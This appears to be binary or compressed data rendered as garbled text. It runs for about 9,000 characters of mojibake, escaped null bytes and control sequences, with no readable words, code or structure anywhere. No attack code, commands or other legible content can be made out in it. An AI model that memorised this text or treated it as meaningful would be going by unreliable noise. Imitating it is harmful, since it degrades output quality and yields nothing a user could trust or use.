xâ€š@ÃŽÃÅ¾Â¬\"Â¦xP^â„¢Ã£Ã‚2'Ã„â€ž[\"qPhÂ¬3Ãâ€žTâ€¹Å¡|Ã·Ã–aÂµ[bÃ¯	\nÃ‹FÂ¢Ã®ÃH Ã”Â²Ã¨Æ’B\0Â®\rXHÃ°Å Â¡&Â±Ãâ€žËœÂ¿â€¹<'pH0Ã Æ’maÂ«T#Â¦]Å’Ãâ€°Ã…0Ã¦Æ’Å Â¿U|s#(LLO Ã¥5gÂ¹â€šxâ„¢hE,PÃ—Ã¨ÃÃ“iÃ	Â­â€¹Lv]PÂ!<VÆ’Â¹	ÃµÅ¡Â´8PrÃšÆ’A Â¥Ë†<(fâ€œlÃ¯!AÃ°h!ÃŠx>Ã `Ã¼Ã‚5â€žÃ©}Æ’2Ã­@S`Â0â€ž\n	Â³C`	Â°Â¨!BÂ\0Â³&	 ÂµÃ¯0Æ’QÃ­â€¢Ë†â€¦9Â©Å’94Ã†â„¢Å’ËœÂ¦â€œ8gÃ¸Ã…IÅ c\"zÃ©Ã˜Ã¹Â±Sc\nÃŒÅ¸D\"Ã–)Â°J1Â¯cÃâ€¹;X/Â¬~Y1â€¦Æ’Ã~\$\$1laa!Ãâ€â€žÅ’â€ Â¤\$ËœG,aa*Â±Âª^Å¾â€“Å’f00Â·aLBÃ£â€žÂ±6#Â¶0Â­XÃ‚Ã‚_Æ’pÃ…ÂµÅ Ã³\$â€¦Ã¥qcBhdbÂ¾B	|h9ÂÂ¶!bBq\0â€ OÂµÅ’+Â¨NÃ°Ã€a=AÃ™.Ã¬Ã†Ã¼0â€ Å’Ã«Ã·aâ€žBâ€šc\nÅ’(rpzÂ¡Ë†Ã‚â€¹â€ \"Ã‰.â€¹>(XÂ}aIÃ‚â€¢cÃ•9Å’,)Ã¦ ÃÂ¼CÃ‚Â¡&Ã£\nÅ½ hd0Â©Ã¡â€™1I^Â¨Ã€ÃŽd Ã°)Â¬aXÃƒÂ°[cÂ½Ã¼?95Ã¦1EnÂ´ 'ÃVÃÂ£BÃ¶Â²n0VarCc4Ã’Â®K2V4Ã­\"â€”Ã©â‚¬Kl8Â½Å“?â€œ/â€“<,Ã‹Å¡LÃ2j&Ã“Ã˜Å¡â€°8	kÂ¡yâ€¡Ãâ€¦Ã«P~FÅ’,v`1Ãª_Ã“Ââ€“â€¢Ã¿@Ã¡ACUÂ¸Ã‹ETiCf=ÃŒ{XË†â€”Zd\"Ã‚Â¨Ã—(&VÃ¹Ã—Â°Â¶DfJVÂâ€ºÃ´Ã¦Ã]Â·Â°Ã¨Æ’â€œÃ©Â; Ã‚k\"â€”Ã¼B;`)!â‚¬Â«!Ëœql:Ã‚Ã‚mâ€¦Ã·)T\nzÃ¨\n\0â€”Â¡Câ€ºzË†ÃcÃ¶â€“Ã¸)Ã‹â€Ã˜Â¶Kâ€¢â€¢Â½[| Ã¼ÃŒÃ™Â¼Ã¥\0Â´Nâ€¢Â§iÃ®ÃžÂ½ZvÃ°Ã Ã©â„¢â€˜[Vl\$ÃœYÂµÂ³*fHUÃ¬+5Ã¦Ã¥Ã˜Ã’Â¶ZeÅ¡Â¾Ã©Å Ã‹Ws\\Â¡Ã¿k2Â¥Ã¤-KÂºÃ–â€ ÃÃ DGÃ°7@lÃµÂ³Ã‹Å Ã“fÂ¬ÃÃ™5â€”XfÃ„ÃŒÃÂÅ’Ã–cÃ«Ã¤ÃšfÂªÃ˜_Ã¼Â©Ã®â€¹:6â‚¬Ã‚@,Ã'<â€˜Å“Ã™Ã„2Â°XÃ˜Â³Â³l'ÃšÃ‹Ã‘<Â»Ã¢z,IÃŸBÃˆgË†Â¿ÂªÃ£\nFxÃŒÂ¯JÃ¥Â¶iâ€ºÂªC<Ã¶'Â¬ÃµÃ™Ã¬ÃN\0Â¤ÃÃÂ© â‚¬fâ€˜Â¢3sË†(ÃÃšÃ¼AvopÃ„\"\r3qguÅ“{8`Ã½â€˜Ã©Â±KhLÃ”Ã…yc\$mYÃ’Â³Ã‰h Ã9Â©\nÂ­Ã†â€žÂ­	ÃƒÃ¹46hi\rË†â€º{CÃ†dÅ’Ã¨JÂ¸Â°Â¡hâ€ž]Ã±Â¢)AÃ¶Â«Ã£KÂ¬3ÃŠiËœOÂ´ #FRÃ«,Â ÃŸÂ´xf4OAÂ¥ÃªRÂ²ÃªÃ¬Ã°Ã™â€\$iÃ”OÃ‰Â¤	xâ€žÃŒCÃ¯3xg\0Â¼ÂÅ“+9â€¦Â-Râ€¢Â³.Ë†Â¢ÂÂ±ËœÃ±GÂ¶ËœÃâ€”Å¸Â´ÃŽ(BÃ…ÃÂ£<G \$Ã–\0(&X`0OÃ‰Â¦Ã“Ã¶ÂÃ„Ã®`Ãµ4Ã©iÃ¾ÃŠ, Ã»P(npWâ‚¬'\0_Ë†JOÅ¸Ã“?Ã€Ã¾pÃ»CÃ¸ÂµZj;Ã°?Ã¬Hf)MSÂ¡OÃ°&Â®Â½Â¤Â«Â£UuÃ¨ÃšÂ®Â²Å d,Ã•â€¦<BRÂ°Ã„Ã¼ËœrÂµgâ€™ÃŽâ€¢Ë†/E[\r^WÃºÂ´jÃ´Ã™Â¡B#fÂ¤|Â¥%bâ€nÃ™Ã¥2\\Ã¢IVâ€ºÅ ÂÂ¨zâ‚¬ÂÃ %ËœTkT\r7!5Ãˆ(tÆ’ÂºFÃ¥)qâ€Ë†Ã‹Ë†Ã±FÂ¥%â€ºËœÃ€ÃÃŒâ€Ã…ÃcÃˆ6ÃŸÃ¨Ã¼Ã6Â£Ã¿GÃ–Ãœr?&Ã“)Ã‡Ã‘Ã¿Â·2<ÃªÃ¡Ã¹Â´HËœ7Ã–Ã­Ã´ÃŸÃ¡> mâ€Ã¡)Â´KÅ’Â¯`ÃœÂÃ†6Ã¬RÃªÃ›Ã…4ÃºaÃ¶ÃmÂ¡[oâ€žÅ¡GÃ²ÃŸÂµ:Ã¢Mtâ€¡Æ’Å¸Z\0	DÃ›tFÃ»oÃ¿MÃ¿9=ÃƒKL	q:Ãº]Wâ„¢Â¡â€¡Ã±Â¼ÃÃ‚(tPÂ«7Ã“@Ã…BÂÃ¢MqÂ¶Ã£kÃ°ÂMÂ¼Ts\\YÃ¢2%Â¶Ã¢?58Ã”Ã6â€°Â\r\nÃ­MÂ·Â³Ã¸Ã¡Â½Ââ€Ã€Ã‚Â·okËœÃ˜NÂ«]â€¡ÂoÂ­TÃŸÂ¾ÂµÅ tÂÃ±Â¿ÃšJÃŒMsÂ©Â·Â¤Ã„JÃµ!{Âµ8u-Â¿]Â¿-4Ã»Ã¢*Xhâ€“Ã©1IÃ›Â¤Â«Ã£ÃŒÃ¬Ã“â‚¬0Å’c4Ã8Â\0ÃŒ9ÃÃ¨Ã°% â€ &â‚¬Râ€°v+#nÃ 7*Ã„\re^:ÃµÃ¦Ã›Â£Ã ÃÃ±Ã¢â„¢?â€“Å Ã ÃžÂ±,Ã]Ã¨â€“ÃwL]Â®5Ãˆ Y9Ã Â²Ioâ€žÃ¶(}> Â¯Â¹(Â²â€¹â€š&`â€¦â€™ÂµÃŸ	^â€Ã…Â¬Â²_â€˜0\"{Å¾Æ’HN'Ã¶Ã“_Ã·2Â®Ã‚â€žm6Ã¢Ã¼BbÃ‰\$~Ã€Ë†Â\$ÃvÃ”ÃÃˆÂªÃ§Ã•â€˜jÅ¾ÂªÂ»|â€¹Tâ€™Ã…Ã£Ë†'\rÂ¢Ã–EÅ’kÂ³ZÃ‘gÂ¸Â­ÂÃ”QÂÃºâ„¢Ã¤Â¸Ë†Ã‘sâ€žGâ€¹=Â¿*SSÂ¸r0Ã‘Ã‘1q_2<1Ã—Ã”\\8Â¹Ã±p]Â©Â¶â€¹ÂÃ«X=Â¤Râ€¡â€Ã±K\"Ã¦%Å¡pÃ®Ã¡Ã­ÃƒÃ“}Ã¤â€°Ã¯QÃ†;(dâ€¹ÃˆÃ¢Ã²1Â¤DÃ²Ã¿\\EÂ§Å½GÃ¤YÃ­â€œâ€°Ã„Â½NÃ¤:Â¸Å¸\râ„¢d(Ã`Ã©~bÃ¼vpÃ®Ã¼Å’TCÃ¢1\\]Â§VQÂ¸TMÂª<Ã¸Â¿Â¯ËœF^â€™:0@0â‚¬#â‚¬yIÅ¡Ã¢@gâ€œâ€°gâ€°Æ’\0:8â€œNÃŸ	Ã…fÃ¨Â¾AÂ¢\\OÂrnÂ»Â¼/â€˜Ãâ€¦â€ Ã‘n^Ë†=ÃŽÂ½ÃˆeÂºÃ£Ã…	1Å’>Ã†2trÃ¡)-â€œxÃ‡AÂ®cÂ»t`2ÃÃŸÃ¼cÂ§	Â­Â¨R>Ã‰Qm5YÃ%7kqÂ\\ÂlCXÃ¡XlÂ°\"Wcâ€™Ãœ-9Å’Å“Ã¡r-KÂ»dÂ¯â€ºÅ¡Ã Â¾Ã«LÂºÃ¨\rÃ¹ÃªË†1xÃ p_â€“Â¦PmnÂ³^3Ãâ€¡Â¯VBÃŠ?SÅ’Ã“â€™3\\dÃ…Â§/:#1Å Â®Å’Â¾Ãªz3|ghÃŒÃ…HËœÃ†y~[632hâ€˜ÃHkÅ¾<Å’\\ÃºÃ¡YÃ°]1Ã”Ë†kFË†Ââ€ºâ€™(jÃ‘Â¶Ã”Â¡Å½Ã£DÃ†ÂCYÂ¨ti0ÃŒqÂ£Ã£EÂ¿Å’Âf4Â³Ã¶Ã°EÂ±Â¦Â£JÂª\r[9Å 4Ã™XÃ‡6ÃžÃ•ÂÃžÃ…]Â»xâ€ºtÃ¿HkÂ·Â«}Â_5Â»zxÃ‡Â²Ã¸#\\8JÅ’TÅ’ÂºPâ€¢GQÂ¯_Â´Â§\0W\rÃž5Â£â€žÂ§KÃ›cÃ†Ã„Â6BÃŠ6CÃ¢Â¤Â¹ CÃ£6â„¢â€ YPBtÂµÂ¶Â£PÃˆ'lW^Sâ€™6Ã¤mâ€”fÂ£Ã¡ÃwÂ8Â¤Ã­ÃƒÃ¸Â²Ã±Â¡`Ã¿Âªlâ€žtep>'ÃˆDÃšVÂxâ€ Â°ÂÃ˜jDoÃ¢â€ â€¦oÂÃžpM5Ã´oÃ“Â¯Â¿Ã€5Ã‡vË†Ã»exKÂ¤ËœÂ¡Â±Â\0<:Kmtâ€\"8\\9Ã¨Ã¡Â®â€â€œ@Ã³Å½ â€ Â²8ËœwBÂ®AÃŒÃ†WÅ½3m-\$pÂ²ÂºÃ®â€”\"â€ Ã†.Å½IÃ¡Ã¹JÃ™Ã·ÃœNÃ‘Ã„ÂºÃºÃŽÃ—Ã‰\rdgÃ€cÃ±Ã‰Ã›ÃŒTâ€ Â¶Â±nÂ´rÂ°\"OÅ¾EE\r~;Ã±Ãš dPâ€¢Ã„&>OËœÃ§R: HÃ¨Ã*Å¸Ã‰Â¿4oÃ…Ã¥TtUâ€žQÃ“E\rEËœÃ*:\\\\Ã—ÃŸÃŽ\nÂ¶GIÅ½Â²ÃÂ­ÃšJbxÂ¡Â±Ã”Å¸6Å’LQ Ã·Ã¶:Ã¢ hÃ¬qÃ’Â£Â©Ã‡fÅ½Ã‚? Â²â€¹â„¢Ãµ:ÃªÂ¯\\Ã‘â€œ\r|Ã¿Ã½W3Å¡â€šÂÂ°7Å“6Â¤tâ€”Ã¬Ã´wÃ—ÂªKÂ§Ã•Â»Â¸!Â|	cÃ”Ã§Å½MÂ¶Â©Â£ÂÃ•Ã°aÂ¥Ã¤ÃªÂ7cÃ‡Â,Å½Ã¹AÃ•ÃŸâ€¡#Ã‘Ã¥#Ã„EÃ¥Â°Â­â„¢Ã¯ÃŸwÂ®Â±Ã¦Ã€â€¢Gâ€”Â-V1Âªâ€”vÃ–Ã©4_Ã‡Å“Âf<Ã¹Â«xÃµ.â€“Ã„Ã¬)Ã¼GÃ³<! ?1Ã¬â€”m\$)ÂqB=0dÂ°JOJcÃ†Ã‡ÃÂâ€šÂÂÂ´CÃƒÃ³g Ã±_i:\0KÃœÂ¨Ã»IaÂ¤jgâ€¹Ã¼FÃ’@&Ã·Qâ€fuÂ¦Ã‰2Ã–'Âº-	MÃ¼ÂªÃ“Ã§Ã³Â®cÃ¨GÃ wIÃ™Ã¹Â­Â¨Ã‚ÃªÃ°VÃ«=Â±[?\n+sÂµWÂ¥Â±Ã°cÃ\0eÂdÃªy!LDÂ«QÃ¯Ãª\$)SY<â‚¬*â€œâ€º.ÃµÂMqÃ˜Â¢Ë†NÃŠâ€¡Ã¥oÃ¡lÃ‡Ã¶%l1Ã™6ÃŠ_Âµâ€ºq/]Ã‘Â¶Â·IpÂ²Å¾Ã¸Ã‡1DRÃ Â¾\nyÂ´Â®Â­(ÂÃ¢VÃ†â€™fÂ¾\nY\\Ã–Ã©Âµâ€ž9Ã¸Ã¼ Ã´Ã›P-Ã«ÂÃ’	Ã¬;uVÃ¯â‚¬KDÃ«<Âªâ€¹0â€¢ N @@â€ &-ÃªzÃœÃ¾â€“+Â¯Â¦Ã–Ã€DdÃ†+nlÃ¾Ã‹ÃÃ‡\n@JÃ¢Ã©Â¿*lÃ¨â€œÃ™ÃŸ7DMÂ´Â£Ã¯=qâ€\rÃ¬!sqQÃªÃ‚Â¦ÃˆÃ…8^xPâ€”TÂaâ€šÃ‰Ã†IÅ’Â¤\rÂ®7hÃ‰Ã€5â€¡ÃˆÂ£tÂ­`yN9MA#Â©dâ€™ÂÃ’Â£Ã™@ÂªNÃœÂ¢)â€™/\"T&ÂµAâ€šâ€ `Â²\rigÃ˜!HÃ‡NÃ’â€¹(Â¶]Â´Ã¸Ã­Ã³Ã»Â©\0Â¤ÃÅ¸SÂ´.Â¤ÂÃªÃ¬â€˜ÃŒ JÃ¶Ã·Ã¯ Å¸ÂºOâ‚¬Å¾BDâ€ºâ€ w	NÅ¸n>Å½y0Â¼)2Ã–u3)1â‚¬Ã¤\nÂÃŠÃ¼Ã¹0Â¸0Ã/yâ‚¬Ã›Â3HÃ©}Ã»Ã”Å â„¢nÅ Â¬ÃˆÂ¯Å Ã”Ã™ÃœPLI`Â£dZÂ}ËœiOË†6Â¥ÃŠÃÃ­â€S=Â¹{B+##_Â¥ÂµKgÃŸ~?Ãƒâ€ Ã¿2â€™Q`Ã€SÃ›Ã¼'l\0Ã–Ãˆ![Â»Ã‡Â¶ÃŽRÅ¸	ÃˆÃ—â€˜Â²Â¢â€°QÂÃ§Ã…Ãº@ÃÂ¸WIâ€žÃ¬lÃ Ã„Å Ë†ÃšpÃ¦â€žÂ¤Ã‡Â§]vÃ½|Ã¸(Â³OÃ¦_ Â¿Zu<Â±EÂ¿`Q6.â€°h,Ã¾&NÂ¨]3KÂ´Â»nâ€š[Ãˆâ€¦Â¤LMÃ¶â€ºÃ²â€“Â¾NjÃ¤â€ž:Â­QÃªÃ®Å’Â*Â²Ã‘YxG3}@Ã³â€ 6Â¼ÂÂ§{\0hbQ`â€	Ã€Æ’Â¦ÃkNSÃŸÃ‡Â¶p>ÂÃ®4cÃ¡0\rÂ¿cÂ¡Ã…vÅ¾Ã±=R8Â¤eÃ@I#LÃ¼=Ã©kÃ–Â¨Ã’(Å’GÃ¡â€œ\"Ã’ÂdavÂ®`|Â»sÃ™Ã°Ã”â€™Uâ€žÃ’	^Â²â€¹+TDÃ©.7Ã‹ÃDâ€¦2TÃ‹=tÂ°Ã©.*Â°]ÃµÃÂ²Tco+3~ÂÅ¾!Ã€Ã³ÃµgÂâ€˜â€œÃžMDÃ¤ÂªÃµ5*ÃƒÃœGÂ©Â¢u\$Â¼tâ€“Ã¼Klâ€šJ\$RÂ¨Å¸ 0Q%1\rcÃ°â€™!â€¢â‚¬Ã³>~9RÂ½DÂNÃÂÂÂ¹xTÃ¬Ã¢DÆ’Ã£Ã‡IgD\$D_â€™â€™	â€“J#Â¥Â·Ã‰i#â€¡Â°uÃ´Ã–Ã±Ã°Ã“Ã°Ã·Ã­aÃ£ Â«Ã™Ã‡%b2[Â¥Ã§ÃƒRÃ‰[7Ã&Ã¹UÂ³Â²Â¸fÃ³ ~Å¡Ã¡Ãˆ)zÃšÃ¥ÃŽÅ¡uÃ”Ã¦Â¶â€“Ã—|Â¥\$Âº*Ã±Ã½Â¥ÂÂ­Â¢Wm+}â€˜Â¶Â¨ÃOsÂ¥Ã‰R@Ã†AÅ’Â½#iÃ½Y+Ã™##Â­Â¾Uâ€šÃšâ€šNÂ¬dÃª\0Ã„_Â·5Â	0Â¥6ÃºFÂ·Ã¬Ã‹AÃ€Â®â€šÂ§)'lnÃ³â€¹Y;OÃ›â€¢Â¾Ãˆwâ€œÃ†Ã©mÃ¬Ã Ã©<RwÃŸÂ·Â¢u4Â¡â€ NÂ£Â¥Â¹Ã’vdÃ¶IÃ²Qm'Ã•Ã¯â€¦â„¢;0*Â\0=ÃµÂâ€˜,JSÃ â€°?Ã²*â‚¬:â€šSJ0Ã½~IIA<Aâ€šd&-	&Å“ Â¸Ã’RÃ€Ã—j@ÃŽ59Ã°Â¥â‚¬+Ã€C@ÃŠ}Ãž\n=cCâ‚¬ÃAÂ£(Â¶â€<Ã§Å¾PÃ’Ã°ÃŒOXâ€“Ã‰Å½â€NkmnÂ²Ã˜Ã€MÂ²Doâ€¹Ã¬[Å½0!qÃ¤â€˜\0Ã™ÃŒE\0Ã°Â¸Ã•Ã¨9â€ â€¢ÂRÆ’Â£Ãš=ÃžNâ€“ÃËœ2Z'Ã€5\"EÂÂ½Ã¢z)-ÃºÆ’oËœÃ©ÃÃ’Ã’a&gÃ’Ã·Â¹Ã²â€œÃ®2Â­â€˜Ã¹Å¸Ã‡Â¾<Ã§TÃ’â€ºVÃŽÃ€Ã„QFâ€ž,xÃ¤Ã¼Ã©Ã³`%GÃŸÂµâ„¢IÂ´wÃ±\$Ã±ÃœÃˆ)ÂÃš_Ã†Ã³uS!PÃ«ÂºË†Ã¸Ã°dâ€¡5ÃÂQ\"OÃ¨Ã°F.Ã¥?ÃŠ||\"â€°)dÂ¨PJOâ€š5ÃŠ~Â;*FjLt!cÃ¢Jâ€™â€º&Ã¬ÃƒÃ¨Ã—MÂ©ÃžÂ¥IÂâ€¢2Ã¦=MÃ±Â®IBÂ¦g\\Ã›â€šBuI1Ã•Å¡JÃ¬â€˜Ãœ3Ëœ?*Â¬cÂ´ÂªÃaUÃŸÃŠ!uÃ¦â€Å½Uâ€šÃ†&Ã»AwÃ•Ã Fâ„¢JHÃºÂ¢RÂ´â€°i\$Ã€Ã–ÂÂ£Âºâ€“~Â¬	CÅ¡lâ€¡E\n3Â¤Ã§Â»FsÂ¦Ââ€°Pâ€žâ€¡Ã‡Ã8\"Ã‡Â£.â€Â±'.TÃ¬|BQÃ©Ã™Â¥>Â£Ã²sÃ˜2Ãž4SÃ‚â€â„¢ÃˆÅ“Å IÃNÂ¤Ã¨Ã˜\\Â®WÂ¥Â²Âº%rÂ½uâ€ºÃ&Å“ËœU}Ã’Å¾kÃ…Ã>Ã¦ÃÃ¤:ÃžÂ·Â»Ã®Å =JÃºsnÃ­Ã½ÃŒÃºÂ¤Ã¸Ã®Â¨vÃ Wâ‚¬\$RiÃ¿Â°RJH0Ã‰Ââ€šâ€œCFKÃ°â€”Ã²Â«HjÂº3?Ã®\$Kpz\" \0		.?Ã¤1,Ã¿â€œÅ¡Æ’â€¡Å’Ãy?Ã¸I\0ÂÃ€Ã—Ã¿Ã’Ã‚Â¥Â@â€“â€¡XÃ´uVÂ¿ÃÃ‹Uc,EXDÂ±EaÃªÂ±ÂÃ§\"%D\nÂ«<â€œÃ²Â±YedÂ» @(Dâ€œ\0â€¢XÃˆâ€¡gÃºâ€™Ã‘â€¢â€™@Â¾VÆ’,Â²Z 4â€¢eÃBÂ¼Ã¬DÂ³R/Â´EÃ²Ã`\"Ã€0Ââ€°-TCÂµuÃ€ zA\"Â¬+WÃ¡-â€HÂ¨`Å¸ÃŠÃžAeÃŠ\\wJ&[<â€`ÃƒÂªÃ¯%Â¶Kh:Â®â€¢aÃ„Â¶InFÃºÃ•Ã‚+â€ â€“Ã£0ÃªÂ¸Â¥mKÃ¥Â²Ã†Â²XPâ€¹Â®[h0Â°9â‚¬qeÃƒÂ¬,â€“ÃšÂ²Â¤\$Â¸Ã™pÅ½Ã…dÃ®Ã‹â€˜XÃœÂ»Ã…Â´Ã¹j00eÂ©Ã‹_Vâ€ž\"ZÂ¸C0+Â«ÂeÃ‹Â®Ã½â€”DzÂÃ\$Â¹â€žMÃ²Ã¦Â¥Â¥â€°E.v<Â¶	tÃ€ÃŸÃ™+â€¢YÂ½-Å½]Q)0ÃƒÃ²Ã”;@?_.Å’Ãº0UÃ«Ãˆ_Ã¨Ë†#â€“Â¸Ã¦Â¢Â»TÃ¨|Ââ€¦\rÅ“\0T^Å¾Ãf<0W-Ã˜â€¡Â±Ââ€¦Ã™Â½Ë†ePÂ±!Å¡Â±â€°Æ’\r #Ã‘2Ã?Z1Â¸cÂªÃ…Å’Ã²Â´Â[Â³ÃƒÂ\0Â«Ã¡Â¼+Å¸,â€œÃ®Â²Â²\nÃŠÃ­Å’\\\"\"â€žÃQÃ€&2Ã‹â€¡Â¿i{ÃŒJÃ©Å’DWÃ»KÃ¿â€¦2ÃÂ½ÂJÃ´%Ã¿lËœ\0000Âa/Ã…â‚¬+5Ã¿sËœ*Âª{`Â®Ã‚6Â¬Ã€f\nÅ’ÃŸÃ¦CBËœ-06JÃ¹ÃªP\\\n Ãh6pÃ’Å’Ã™Ã@Ã†.Ã­3Ã‘3Â¢gJÃÃ¼Å¡#1PÃ¿Â«ÃŽpgZPÃµÂÅ¡Ãºsâ€¡Pâ€ â„¢^Â¶JgÅ½N Kâ€¢Iâ€“\"Dl\"ÃŽ=Å¾Ã”ApQâ„¢Ã®Ã‚=â€¦qÅ“>Ã´Bhâ€¦LCbÃ„hÃ…9 y\\Â¢g)Â¥ÃªÃƒ6Ë†bÂ½Â±Å’C?Â¸â€lxZ1Â¥Ë†oÃÂ¡Ã”CËœâ€¡Â±XÂÃ„A*Ã¤ÃŠÂÂ¢Ã¹>bâ€¡Ã¡Ã¼YÃ¤â€¢xavVÃ”â„¢Ã¬DeÃ½Q\0'sc8}ÂCG8â€°â€œÃ¢'&XcFÃ‘Ãª\"Ã‰G Ã½Ã­?Ãš[tfÃƒÅ¡#LFrÅ â€˜Å )â€¢Â¸iÅ¾Ã“HÃ¡Ãœfâ€ºÂ²Ã‰Æ’DyiÂ¸ÃŒ1Â¦Ã£<Ã¦Å¾â€¦Ãœ\">4Ã±â€šâ‚¬â€“e<Q#Å¡~Â´HiÃºÃNt!Ã‡Ã¾ÃŒ\n&Dz.Â´ÃŠHÂ­Ã„Ã€\"Ã®Ã±)	Â¿Â°Â¼(%\"Â·0ÃÃ¤mÂ­uâ€¦YÂ©ÂµÂÃzÂ³g&ÃÃ€â€“EÃ’6~[2 b\0U	Ã®\nFEÂ¶JÂVbJ6ÃŽ2kÃ“0Å’PÃˆâ€˜<]\$KZAs[CÃlÃ›3	Â®Ã›gÃ—\rÂ½ÂÂ½8.5Ã›Â´HÃœÃ­Â­Å“Ã¥8Ã·â€°ÃœÃ™Ã‘\$Ã´â€¦Dâ‚¬r&}Â¤.kÂ¶ÃœÂ­Ã„|LÃ QE&FLIÃ‡\"Ã€Å“Â¼0koxÂ»#Ã†Â±7DÃ¾Ã—!V9\rqâ€¦Ã€â€¹Å’Â©\nÃ‹yÂ¸[Ë†Â½â€°ZÃ¶Â*Å½mÃˆâ€ÃƒÅ¡Ã»Â²Ã±\\Ã“KÂ½	Ã©Ãšdzdâ€oÃÃŸ*Â¾\"ÂÃ¬ÃÃ»â€ºyÅ¾Qâ€¹ÃŽÃ™Â»0-#Ã¥Ã‚+Ã·'hâ€¢]Â­Æ’/Â¾Ã·ÃˆÂ¦Ã³Â¨FÃ¢Â­Ã»Ã“Ã„Å 7y(SÂ¡\$aMÃ©I\$Ã‰\$uMIÂ¿+93Å“Ã“/ÂºÂ£ÃŠÅ½â€œÃš\r9ÃNÂ©Ã’Lâ€¡!Å¡Ã‹Ââ‚¬* Ã°Ã„Ã‡BÂ®Ã³â€¢Ã¸Â¼Â§yÃ¸!Ã³4Â¨cÃ¯Ã‡\\ÃŠÃŸXâ€™8Ã‚ uâ„¢_Ã±Â±Â£Ã†6Ã—0Â«Â;Ã´Â¥Â·â€”Oâ€&:Â­&.Ã Â´Ã¹SÃ¹Â©Â²Â³Â¥dÂ¦0â€¢â€šÂ³Â­0Â¼eEâ€žÃ‘ÂµÃˆâ€”p>â€°Ã²FaÃ¸GzÅ½	ÃŸÂ¬Ã»mPÅ¸=tÃ»Ã‰iÂ²Ã‘Ã½V}Â»â€œ|Âµ}MP( %Â­Å“e8Âu=6â€š2Â¨Iâ‚¬ÃŒqÂ¡Å“fÃ¸fÃº^MKÃ‚Ã·â€ºÃ©Â«>Ã¸â€¢Ãâ€™\rÂ´Å’â€˜Ã¶^Ã°7dâ€ºvRÅ m	Ã…IÃ“HÃ£Â»9Â¥â€”>>]sÃ½RÂº `Ãsâ‚¬gUÃ´;ËœËœÃ”Â°qâ€œÃŒ%â€¦!Ã¹â‚¬8Â«ÃÅ’ÃÃˆrÃƒDÃ¼+â€“,ÂªnxÃâ€5ÂªÃˆâ‚¬â‚¬]â€“:JÃ½Ã”Â´Ã IÃ³vÂ¥Â®Ã€ÃƒVrÃŒ!ÃÂ¦Ã¯Å½3ÃÂ¢â„¢â€œVm)Ã¡Ãˆ\$@E`Â¯Âº,ÃŽ\0Ã¦\0Ã„Ã€Ã IIÂÅ’Ã˜Å“\0Ã Â¨@sÂfÃ¿â‚¬8\0p\0ÃŒÂ¹Ã Ã³ÂÂÂ·\0005\0d\0ÃšpdÃ \0Ã€\0\0005Å“2\0ÃžpDÃ¢	ÃƒÃ³â€šâ‚¬\0007Å“2mÅ’Å“Ã¡	Ã„Ã \0N%Å“38â€Ã„Ã¢Ã‰Ã…Ã \rÃ§N&â€ºÃ½8p|Ã¡Ã‰Ã…Ã¦Ã›â‚¬\09Å“f\0Ã¤â€Ã¡)Ã‚â€œÆ’Ã€NBâ€ºÃ¾\0ÃœÂ¸`â€šÃ§ÃŽ\0d\0Ãk4Ã Ã™Ãˆâ€œâ€¡Â§&ÃŽÅ“;8ÃŒÅ“Ã¡Â¹ÃƒÃ³â€™ÂÂ·N;\0o8Â¶pÃ¹T0sâ€¢'	ÃŽR\0g8ÂºqÂ¼Ã¤â‚¬3â„¢Ã§ÃŽ\n\0s9Fp<Ã¤PÅ Ã§ÃŽdÅ“)8â€žÃ§9Ã3â€šâ‚¬N4â€ºdÂ°9Ã‰sâ€¦Â§ÃŽÅ“}9Ã¼iÃ‰Å g2Nâ‚¬Â\0ÃŠrÃ¬Ã¤Ã™Ã†â€˜Â§\0NH\0i9Ãºs,Ã£â€°ÃˆÂÂ§LÃŽ1\0b\0Ãšt<Ã©Ã3Æ’Ã§;NfÅ“Ã™94ÃŒÃ¥Ã¹ÃSÂ§@\0005Å“Ã‘:Â²pÃ©â€°Ã€Ã“â€™g%â€™Å“Ã’\0ÃžpÂ´Ã§	ÃÃ€\0ÃŽÂ¥Å“q8Â¦tÂ¤Ã Ã‹3Â°gÃŽYÅ“^\0Ã€Å’Ã¨IÃ3Âg&Nâ„¢Å“i9:pÃ¼Ã¤Â`\r pâ‚¬cÂ \0Ã‚rLÃ©Æ’ÃºÂµÃ§ÃŽÅ“Âg8pâ€Ã­IÃ’Sâ€™Ã§oN\rÂâ€˜8:qÃ¼Ã¥yÃ–Ã³Â¢Â§fÃŽÂÂ\0Ã¦uÃ¨	Ã‰Âg[NÂÂ:Ã¢q|Ã¤Ã¹Ã€SÂ´g\rÃŽâ€Å“Â¿:2qÅ“Ã¥Ã¹Ã—Ã“Â®Ã§ÃŽ^\0s:ÃºqÂ¤Ã£IÃžÂ³â€¦'E\0006ÂÃ…:t	,Ã©Ã¹ÃƒÃ³Â¨Ã€ÃŽÃ±\0Ã„\0Ã”	\$Ã¤YÃ¡Â¨Ã€NÃ¾\0i:Å½w,Ã¡Â©ÃsÂ¨g\n\09\0i:Ã¶qÃ¼Ã¦Â¹Ã…ePÃ§â€¦ÃŽG\0i8*wlÃŸÃ³lsÃ‡Ã§â€™O2Å“â€”9qÃœÃ¥â„¢Ã—SÅ½gâ€žNÂ¸Å¾8Â¾y0iÃŽÂ­\0O!Å“Q8Fq|Ã¨Ã˜Ã“â€œ@ÃŽÂ©Å¾=;Ã‚u\\Ã­Ã¹Ã3Â°gyÃQÅ“\0Ã†qÃ¬Ã³YÃ€SÃ‡Ã§NÃ¹Å“â€˜:ÃŠs4Ã¢)Ã•Ã'â‚¬4ÂÂ±8Â®sÃ¶	Ã‡â€™gÂÃ\0i8s	Ã§Ã³Â²Ã§Å½ÃÂÃ¯;â€ yÅ’Ã 	Ã¨3Ãžg\\NÂ©Å¾Ã•9 Â¬Ã 9Ã˜Ã 'ÃŽ?\0i;ÃºuÃ€)Ã¯3â€°giÃVÅ¾Ãµ:^{TÃ Ã©Ã‹3Ã¤g\"â€ºcÅ“Â°\0ÃŽyÃœÃ¢Ã‰Ã¤3Ë†'â€¡NÃ¾Å¾+=\"w\\Ã¶yÃ‰Â³â€ Ã§SÃŽÂ¢Å¾â€º=Â¶r|Ã¶Ã¹Ã…Ã gÂÃŽÂºÅ¾;â€ qÃ Â©ÃžÂ©Â¶g5ÃoÅ¸=2zlÃ¸Ã©Ã„â€¦Â§Ã‡NÅ¾q:\"wÂ¼Ã 	Ã¡Ã³Â¬Ã§%OBÂÂ«;rqâ€Ã¼	ÃžsÃªÂ§eâ‚¬5ÂÃ•:vvLÃ¦Ã¹Ã¨Ã‰Ã§fÃŽÃ²Å“#:FuÃ¡iÃ¥Â³Â¥gÃŒNÅ“ÂÂ·8Ã†{4Ã°9Ã‘SÃŠ'IN 